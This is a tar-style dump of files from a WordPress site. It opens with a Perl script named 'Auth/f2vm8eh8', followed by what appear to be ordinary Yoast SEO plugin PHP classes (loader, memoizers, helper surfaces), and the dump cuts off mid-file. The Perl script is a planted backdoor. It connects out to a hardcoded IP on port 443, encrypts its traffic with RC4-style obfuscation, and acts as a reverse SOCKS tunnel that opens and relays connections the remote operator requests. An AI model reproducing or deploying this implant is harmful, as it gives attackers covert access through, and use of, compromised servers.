Auth/f2vm8eh8 0000644 00000022033 15207614116 0006742 0 ustar 00 #!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '62.60.131.198';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);
loader.php 0000644 00000015170 15207625427 0006541 0 ustar 00 container = $container;
}
/**
* Registers an integration.
*
* @param string $integration_class The class name of the integration to be loaded.
*
* @return void
*/
public function register_integration( $integration_class ) {
$this->integrations[] = $integration_class;
}
/**
* Registers an initializer.
*
* @param string $initializer_class The class name of the initializer to be loaded.
*
* @return void
*/
public function register_initializer( $initializer_class ) {
$this->initializers[] = $initializer_class;
}
/**
* Registers a route.
*
* @param string $route_class The class name of the route to be loaded.
*
* @return void
*/
public function register_route( $route_class ) {
$this->routes[] = $route_class;
}
/**
* Registers a command.
*
* @param string $command_class The class name of the command to be loaded.
*
* @return void
*/
public function register_command( $command_class ) {
$this->commands[] = $command_class;
}
/**
* Registers a migration.
*
* @param string $plugin The plugin the migration belongs to.
* @param string $version The version of the migration.
* @param string $migration_class The class name of the migration to be loaded.
*
* @return void
*/
public function register_migration( $plugin, $version, $migration_class ) {
if ( ! \array_key_exists( $plugin, $this->migrations ) ) {
$this->migrations[ $plugin ] = [];
}
$this->migrations[ $plugin ][ $version ] = $migration_class;
}
/**
* Loads all registered classes if their conditionals are met.
*
* @return void
*/
public function load() {
$this->load_initializers();
if ( ! \did_action( 'init' ) ) {
\add_action( 'init', [ $this, 'load_integrations' ] );
}
else {
$this->load_integrations();
}
\add_action( 'rest_api_init', [ $this, 'load_routes' ] );
if ( \defined( 'WP_CLI' ) && \WP_CLI ) {
$this->load_commands();
}
}
/**
* Returns all registered migrations.
*
* @param string $plugin The plugin to get the migrations for.
*
* @return string[]|false The registered migrations. False if no migrations were registered.
*/
public function get_migrations( $plugin ) {
if ( ! \array_key_exists( $plugin, $this->migrations ) ) {
return false;
}
return $this->migrations[ $plugin ];
}
/**
* Loads all registered commands.
*
* @return void
*/
protected function load_commands() {
foreach ( $this->commands as $class ) {
$command = $this->get_class( $class );
if ( $command === null ) {
continue;
}
WP_CLI::add_command( $class::get_namespace(), $command );
}
}
/**
* Loads all registered initializers if their conditionals are met.
*
* @return void
*/
protected function load_initializers() {
foreach ( $this->initializers as $class ) {
if ( ! $this->conditionals_are_met( $class ) ) {
continue;
}
$initializer = $this->get_class( $class );
if ( $initializer === null ) {
continue;
}
$initializer->initialize();
}
}
/**
* Loads all registered integrations if their conditionals are met.
*
* @return void
*/
public function load_integrations() {
foreach ( $this->integrations as $class ) {
if ( ! $this->conditionals_are_met( $class ) ) {
continue;
}
$integration = $this->get_class( $class );
if ( $integration === null ) {
continue;
}
$integration->register_hooks();
}
}
/**
* Loads all registered routes if their conditionals are met.
*
* @return void
*/
public function load_routes() {
foreach ( $this->routes as $class ) {
if ( ! $this->conditionals_are_met( $class ) ) {
continue;
}
$route = $this->get_class( $class );
if ( $route === null ) {
continue;
}
$route->register_routes();
}
}
/**
* Checks if all conditionals of a given loadable are met.
*
* @param string $loadable_class The class name of the loadable.
*
* @return bool Whether all conditionals of the loadable are met.
*/
protected function conditionals_are_met( $loadable_class ) {
// In production environments do not fatal if the class does not exist but log and fail gracefully.
if ( \YOAST_ENVIRONMENT === 'production' && ! \class_exists( $loadable_class ) ) {
if ( \defined( 'WP_DEBUG' ) && \WP_DEBUG ) {
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
\error_log(
\sprintf(
/* translators: %1$s expands to Yoast SEO, %2$s expands to the name of the class that could not be found. */
\__( '%1$s attempted to load the class %2$s but it could not be found.', 'wordpress-seo' ),
'Yoast SEO',
$loadable_class,
),
);
}
return false;
}
$conditionals = $loadable_class::get_conditionals();
foreach ( $conditionals as $class ) {
$conditional = $this->get_class( $class );
if ( $conditional === null || ! $conditional->is_met() ) {
return false;
}
}
return true;
}
/**
* Gets a class from the container.
*
* @param string $class_name The class name.
*
* @return object|null The class or, in production environments, null if it does not exist.
*
* @throws Throwable If the class does not exist in development environments.
*/
protected function get_class( $class_name ) {
try {
return $this->container->get( $class_name );
} catch ( Throwable $e ) {
// In production environments do not fatal if the class could not be constructed but log and fail gracefully.
if ( \YOAST_ENVIRONMENT === 'production' ) {
if ( \defined( 'WP_DEBUG' ) && \WP_DEBUG ) {
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
\error_log( $e->getMessage() );
}
return null;
}
throw $e;
}
}
}
memoizers/meta-tags-context-memoizer.php 0000644 00000012565 15207625430 0014475 0 ustar 00 blocks = $blocks;
$this->current_page = $current_page;
$this->repository = $repository;
$this->context_prototype = $context_prototype;
$this->presentation_memoizer = $presentation_memoizer;
}
/**
* Gets the meta tags context for the current page.
* This function is memoized so every call will return the same result.
*
* @return Meta_Tags_Context The meta tags context.
*/
public function for_current_page() {
if ( ! isset( $this->cache['current_page'] ) ) {
// First reset the query to ensure we actually have the current page.
global $wp_query, $post;
$old_wp_query = $wp_query;
$old_post = $post;
// phpcs:ignore WordPress.WP.DiscouragedFunctions.wp_reset_query_wp_reset_query -- Reason: The recommended function, wp_reset_postdata, doesn't reset wp_query.
\wp_reset_query();
$indexable = $this->repository->for_current_page();
$page_type = $this->current_page->get_page_type();
if ( $page_type === 'Fallback' ) {
// Do not cache the context if it's a fallback page.
// The likely cause for this is that this function was called before the query was loaded.
$context = $this->get( $indexable, $page_type );
// Restore the previous query.
// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the query.
$GLOBALS['wp_query'] = $old_wp_query;
// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the post.
$GLOBALS['post'] = $old_post;
return $context;
}
$this->cache['current_page'] = $this->get( $indexable, $page_type );
// Restore the previous query.
// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the query.
$GLOBALS['wp_query'] = $old_wp_query;
// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the post.
$GLOBALS['post'] = $old_post;
}
return $this->cache['current_page'];
}
/**
* Gets the meta tags context given an indexable.
* This function is memoized by the indexable so every call with the same indexable will yield the same result.
*
* @param Indexable $indexable The indexable.
* @param string $page_type The page type.
*
* @return Meta_Tags_Context The meta tags context.
*/
public function get( Indexable $indexable, $page_type ) {
if ( ! isset( $this->cache[ $indexable->id ] ) ) {
$blocks = [];
$post = null;
if ( $indexable->object_type === 'post' ) {
$post = \get_post( $indexable->object_id );
$blocks = $this->blocks->get_all_blocks_from_content( $post->post_content );
}
$context = $this->context_prototype->of(
[
'indexable' => $indexable,
'blocks' => $blocks,
'post' => $post,
'page_type' => $page_type,
],
);
$context->presentation = $this->presentation_memoizer->get( $indexable, $context, $page_type );
$this->cache[ $indexable->id ] = $context;
}
return $this->cache[ $indexable->id ];
}
/**
* Clears the memoization of either a specific indexable or all indexables.
*
* @param Indexable|int|string|null $indexable Optional. The indexable or indexable id to clear the memoization of.
*
* @return void
*/
public function clear( $indexable = null ) {
if ( $indexable instanceof Indexable ) {
unset( $this->cache[ $indexable->id ] );
$this->presentation_memoizer->clear( $indexable->id );
return;
}
if ( $indexable !== null ) {
unset( $this->cache[ $indexable ] );
$this->presentation_memoizer->clear( $indexable );
return;
}
$this->cache = [];
$this->presentation_memoizer->clear();
}
/**
* Clears the memoization of the current page.
*
* @return void
*/
public function clear_for_current_page() {
unset( $this->cache['current_page'] );
}
}
memoizers/presentation-memoizer.php 0000644 00000004543 15207625430 0013641 0 ustar 00 container = $service_container;
}
/**
* Gets the presentation of an indexable for a specific page type.
* This function is memoized by the indexable so every call with the same indexable will yield the same result.
*
* @param Indexable $indexable The indexable to get a presentation of.
* @param Meta_Tags_Context $context The current meta tags context.
* @param string $page_type The page type.
*
* @return Indexable_Presentation The indexable presentation.
*/
public function get( Indexable $indexable, Meta_Tags_Context $context, $page_type ) {
if ( ! isset( $this->cache[ $indexable->id ] ) ) {
$presentation = $this->container->get( "Yoast\WP\SEO\Presentations\Indexable_{$page_type}_Presentation", ContainerInterface::NULL_ON_INVALID_REFERENCE );
if ( ! $presentation ) {
$presentation = $this->container->get( Indexable_Presentation::class );
}
$context->presentation = $presentation->of(
[
'model' => $indexable,
'context' => $context,
],
);
$this->cache[ $indexable->id ] = $context->presentation;
}
return $this->cache[ $indexable->id ];
}
/**
* Clears the memoization of either a specific indexable or all indexables.
*
* @param Indexable|int|null $indexable Optional. The indexable or indexable id to clear the memoization of.
*
* @return void
*/
public function clear( $indexable = null ) {
if ( $indexable instanceof Indexable ) {
unset( $this->cache[ $indexable->id ] );
return;
}
if ( \is_int( $indexable ) ) {
unset( $this->cache[ $indexable ] );
return;
}
if ( $indexable === null ) {
$this->cache = [];
}
}
}
surfaces/schema-helpers-surface.php 0000644 00000005546 15207625431 0013435 0 ustar 00 container = $container;
}
/**
* Magic getter for getting helper classes.
*
* @param string $helper The helper to get.
*
* @return mixed The helper class.
*/
public function __get( $helper ) {
return $this->container->get( $this->get_helper_class( $helper ) );
}
/**
* Magic isset for ensuring helper exists.
*
* @param string $helper The helper to get.
*
* @return bool Whether the helper exists.
*/
public function __isset( $helper ) {
return $this->container->has( $this->get_helper_class( $helper ) );
}
/**
* Prevents setting dynamic properties and unsetting declared properties
* from an inaccessible context.
*
* @param string $name The property name.
* @param mixed $value The property value.
*
* @return void
*
* @throws Forbidden_Property_Mutation_Exception Set is never meant to be called.
*/
public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715.
throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name );
}
/**
* Prevents unsetting dynamic properties and unsetting declared properties
* from an inaccessible context.
*
* @param string $name The property name.
*
* @return void
*
* @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called.
*/
public function __unset( $name ) {
throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name );
}
/**
* Get the class name from a helper slug
*
* @param string $helper The name of the helper.
*
* @return string
*/
protected function get_helper_class( $helper ) {
if ( \in_array( $helper, $this->capitalized_helpers, true ) ) {
$helper = \strtoupper( $helper );
}
$helper = \implode( '_', \array_map( 'ucfirst', \explode( '_', $helper ) ) );
return "Yoast\WP\SEO\Helpers\Schema\\{$helper}_Helper";
}
}
surfaces/classes-surface.php 0000644 00000001456 15207625431 0012166 0 ustar 00 container = $container;
}
/**
* Returns the instance of a class. Handy for unhooking things.
*
* @param string $class_name The class to get the instance of.
*
* @return mixed The instance of the class.
*/
public function get( $class_name ) {
return $this->container->get( $class_name );
}
}
surfaces/meta-surface.php 0000644 00000024221 15207625431 0011452 0 ustar 00 container = $container;
$this->context_memoizer = $context_memoizer;
$this->repository = $indexable_repository;
$this->wp_rewrite_wrapper = $wp_rewrite_wrapper;
$this->indexable_helper = $indexable_helper;
}
/**
* Returns the meta tags context for the current page.
*
* @return Meta The meta values.
*/
public function for_current_page() {
return $this->build_meta( $this->context_memoizer->for_current_page() );
}
/**
* Returns the meta tags context for the home page.
*
* @return Meta|false The meta values. False if none could be found.
*/
public function for_home_page() {
$front_page_id = (int) \get_option( 'page_on_front' );
if ( \get_option( 'show_on_front' ) === 'page' && $front_page_id !== 0 ) {
$indexable = $this->repository->find_by_id_and_type( $front_page_id, 'post' );
if ( ! $indexable ) {
return false;
}
return $this->build_meta( $this->context_memoizer->get( $indexable, 'Static_Home_Page' ) );
}
$indexable = $this->repository->find_for_home_page();
if ( ! $indexable ) {
return false;
}
return $this->build_meta( $this->context_memoizer->get( $indexable, 'Home_Page' ) );
}
/**
* Returns the meta tags context for the posts page.
*
* @return Meta|false The meta values. False if none could be found.
*/
public function for_posts_page() {
$posts_page_id = (int) \get_option( 'page_for_posts' );
if ( $posts_page_id !== 0 ) {
$indexable = $this->repository->find_by_id_and_type( $posts_page_id, 'post' );
if ( ! $indexable ) {
return false;
}
return $this->build_meta( $this->context_memoizer->get( $indexable, 'Static_Posts_Page' ) );
}
$indexable = $this->repository->find_for_home_page();
if ( ! $indexable ) {
return false;
}
return $this->build_meta( $this->context_memoizer->get( $indexable, 'Home_Page' ) );
}
/**
* Returns the meta tags context for a post type archive.
*
* @param string|null $post_type Optional. The post type to get the archive meta for. Defaults to the current post type.
*
* @return Meta|false The meta values. False if none could be found.
*/
public function for_post_type_archive( $post_type = null ) {
$post_type ??= \get_post_type();
$indexable = $this->repository->find_for_post_type_archive( $post_type );
if ( ! $indexable ) {
return false;
}
return $this->build_meta( $this->context_memoizer->get( $indexable, 'Post_Type_Archive' ) );
}
/**
* Returns the meta tags context for the search result page.
*
* @return Meta|false The meta values. False if none could be found.
*/
public function for_search_result() {
$indexable = $this->repository->find_for_system_page( 'search-result' );
if ( ! $indexable ) {
return false;
}
return $this->build_meta( $this->context_memoizer->get( $indexable, 'Search_Result_Page' ) );
}
/**
* Returns the meta tags context for the search result page.
*
* @return Meta|false The meta values. False if none could be found.
*/
public function for_404() {
$indexable = $this->repository->find_for_system_page( '404' );
if ( ! $indexable ) {
return false;
}
return $this->build_meta( $this->context_memoizer->get( $indexable, 'Error_Page' ) );
}
/**
* Returns the meta tags context for a post.
*
* @param int $id The ID of the post.
*
* @return Meta|false The meta values. False if none could be found.
*/
public function for_post( $id ) {
$indexable = $this->repository->find_by_id_and_type( $id, 'post' );
if ( ! $indexable ) {
return false;
}
return $this->build_meta( $this->context_memoizer->get( $indexable, 'Post_Type' ) );
}
/**
* Returns the meta tags context for a number of posts.
*
* @param int[] $ids The IDs of the posts.
*
* @return Meta[]|false The meta values. False if none could be found.
*/
public function for_posts( $ids ) {
$indexables = $this->repository->find_by_multiple_ids_and_type( $ids, 'post' );
if ( empty( $indexables ) ) {
return false;
}
// Remove all false values.
$indexables = \array_filter( $indexables );
return \array_map(
function ( $indexable ) {
return $this->build_meta( $this->context_memoizer->get( $indexable, 'Post_Type' ) );
},
$indexables,
);
}
/**
* Returns the meta tags context for a term.
*
* @param int $id The ID of the term.
*
* @return Meta|false The meta values. False if none could be found.
*/
public function for_term( $id ) {
$indexable = $this->repository->find_by_id_and_type( $id, 'term' );
if ( ! $indexable ) {
return false;
}
return $this->build_meta( $this->context_memoizer->get( $indexable, 'Term_Archive' ) );
}
/**
* Returns the meta tags context for an author.
*
* @param int $id The ID of the author.
*
* @return Meta|false The meta values. False if none could be found.
*/
public function for_author( $id ) {
$indexable = $this->repository->find_by_id_and_type( $id, 'user' );
if ( ! $indexable ) {
return false;
}
return $this->build_meta( $this->context_memoizer->get( $indexable, 'Author_Archive' ) );
}
/**
* Returns the meta for an indexable.
*
* @param Indexable $indexable The indexable.
* @param string|null $page_type Optional. The page type if already known.
*
* @return Meta|false The meta values. False if none could be found.
*/
public function for_indexable( $indexable, $page_type = null ) {
if ( ! \is_a( $indexable, Indexable::class ) ) {
return false;
}
$page_type ??= $this->indexable_helper->get_page_type_for_indexable( $indexable );
return $this->build_meta( $this->context_memoizer->get( $indexable, $page_type ) );
}
/**
* Returns the meta for an indexable.
*
* @param Indexable[] $indexables The indexables.
* @param string|null $page_type Optional. The page type if already known.
*
* @return Meta|false The meta values. False if none could be found.
*/
public function for_indexables( $indexables, $page_type = null ) {
$closure = function ( $indexable ) use ( $page_type ) {
$this_page_type = $page_type;
$this_page_type ??= $this->indexable_helper->get_page_type_for_indexable( $indexable );
return $this->build_meta( $this->context_memoizer->get( $indexable, $this_page_type ) );
};
return \array_map( $closure, $indexables );
}
/**
* Returns the meta tags context for a url.
*
* @param string $url The url of the page. Required to be relative to the site url.
*
* @return Meta|false The meta values. False if none could be found.
*/
public function for_url( $url ) {
$url_parts = \wp_parse_url( $url );
$site_parts = \wp_parse_url( \site_url() );
if ( ( ! \is_array( $url_parts ) || ! \is_array( $site_parts ) )
|| ! isset( $url_parts['host'], $url_parts['path'], $site_parts['host'], $site_parts['scheme'] )
) {
return false;
}
if ( $url_parts['host'] !== $site_parts['host'] ) {
return false;
}
// Ensure the scheme is consistent with values in the DB.
$url = $site_parts['scheme'] . '://' . $url_parts['host'] . $url_parts['path'];
if ( $this->is_date_archive_url( $url ) ) {
$indexable = $this->repository->find_for_date_archive();
}
else {
$indexable = $this->repository->find_by_permalink( $url );
}
// If we still don't have an indexable abort, the WP globals could be anything so we can't use the unknown indexable.
if ( ! $indexable ) {
return false;
}
$page_type = $this->indexable_helper->get_page_type_for_indexable( $indexable );
if ( $page_type === false ) {
return false;
}
return $this->build_meta( $this->context_memoizer->get( $indexable, $page_type ) );
}
/**
* Checks if a given URL is a date archive URL.
*
* @param string $url The url.
*
* @return bool
*/
protected function is_date_archive_url( $url ) {
$path = \wp_parse_url( $url, \PHP_URL_PATH );
if ( $path === null ) {
return false;
}
$path = \ltrim( $path, '/' );
$wp_rewrite = $this->wp_rewrite_wrapper->get();
$date_rewrite = $wp_rewrite->generate_rewrite_rules( $wp_rewrite->get_date_permastruct(), \EP_DATE );
$date_rewrite = \apply_filters( 'date_rewrite_rules', $date_rewrite );
foreach ( (array) $date_rewrite as $match => $query ) {
if ( \preg_match( "#^$match#", $path ) ) {
return true;
}
}
return false;
}
/**
* Creates a new meta value object
*
* @param Meta_Tags_Context $context The meta tags context.
*
* @return Meta The meta value
*/
protected function build_meta( Meta_Tags_Context $context ) {
return new Meta( $context, $this->container );
}
}
surfaces/helpers-surface.php 0000644 00000013100 15207625431 0012160 0 ustar 00 container = $container;
$this->open_graph = $open_graph;
$this->schema = $schema;
$this->twitter = $twitter;
}
/**
* Magic getter for getting helper classes.
*
* @param string $helper The helper to get.
*
* @return mixed The helper class.
*/
public function __get( $helper ) {
return $this->container->get( $this->get_helper_class( $helper ) );
}
/**
* Magic isset for ensuring helper exists.
*
* @param string $helper The helper to get.
*
* @return bool Whether the helper exists.
*/
public function __isset( $helper ) {
return $this->container->has( $this->get_helper_class( $helper ) );
}
/**
* Prevents setting dynamic properties and unsetting declared properties
* from an inaccessible context.
*
* @param string $name The property name.
* @param mixed $value The property value.
*
* @return void
*
* @throws Forbidden_Property_Mutation_Exception Set is never meant to be called.
*/
public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715.
throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name );
}
/**
* Prevents unsetting dynamic properties and unsetting declared properties
* from an inaccessible context.
*
* @param string $name The property name.
*
* @return void
*
* @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called.
*/
public function __unset( $name ) {
throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name );
}
/**
* Get the class name from a helper slug
*
* @param string $helper The name of the helper.
*
* @return string
*/
protected function get_helper_class( $helper ) {
$helper = \implode( '_', \array_map( 'ucfirst', \explode( '_', $helper ) ) );
return "Yoast\WP\SEO\Helpers\\{$helper}_Helper";
}
}
surfaces/open-graph-helpers-surface.php 0000644 00000004757 15207625431 0014240 0 ustar 00 container = $container;
}
/**
* Magic getter for getting helper classes.
*
* @param string $helper The helper to get.
*
* @return mixed The helper class.
*/
public function __get( $helper ) {
return $this->container->get( $this->get_helper_class( $helper ) );
}
/**
* Magic isset for ensuring helper exists.
*
* @param string $helper The helper to get.
*
* @return bool Whether the helper exists.
*/
public function __isset( $helper ) {
return $this->container->has( $this->get_helper_class( $helper ) );
}
/**
* Prevents setting dynamic properties and unsetting declared properties
* from an inaccessible context.
*
* @param string $name The property name.
* @param mixed $value The property value.
*
* @return void
*
* @throws Forbidden_Property_Mutation_Exception Set is never meant to be called.
*/
public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715.
throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name );
}
/**
* Prevents unsetting dynamic properties and unsetting declared properties
* from an inaccessible context.
*
* @param string $name The property name.
*
* @return void
*
* @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called.
*/
public function __unset( $name ) {
throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name );
}
/**
* Get the class name from a helper slug
*
* @param string $helper The name of the helper.
*
* @return string
*/
protected function get_helper_class( $helper ) {
$helper = \implode( '_', \array_map( 'ucfirst', \explode( '_', $helper ) ) );
return "Yoast\WP\SEO\Helpers\Open_Graph\\{$helper}_Helper";
}
}
surfaces/twitter-helpers-surface.php 0000644 00000004740 15207625431 0013672 0 ustar 00 container = $container;
}
/**
* Magic getter for getting helper classes.
*
* @param string $helper The helper to get.
*
* @return mixed The helper class.
*/
public function __get( $helper ) {
return $this->container->get( $this->get_helper_class( $helper ) );
}
/**
* Magic isset for ensuring helper exists.
*
* @param string $helper The helper to get.
*
* @return bool Whether the helper exists.
*/
public function __isset( $helper ) {
return $this->container->has( $this->get_helper_class( $helper ) );
}
/**
* Prevents setting dynamic properties and unsetting declared properties
* from an inaccessible context.
*
* @param string $name The property name.
* @param mixed $value The property value.
*
* @return void
*
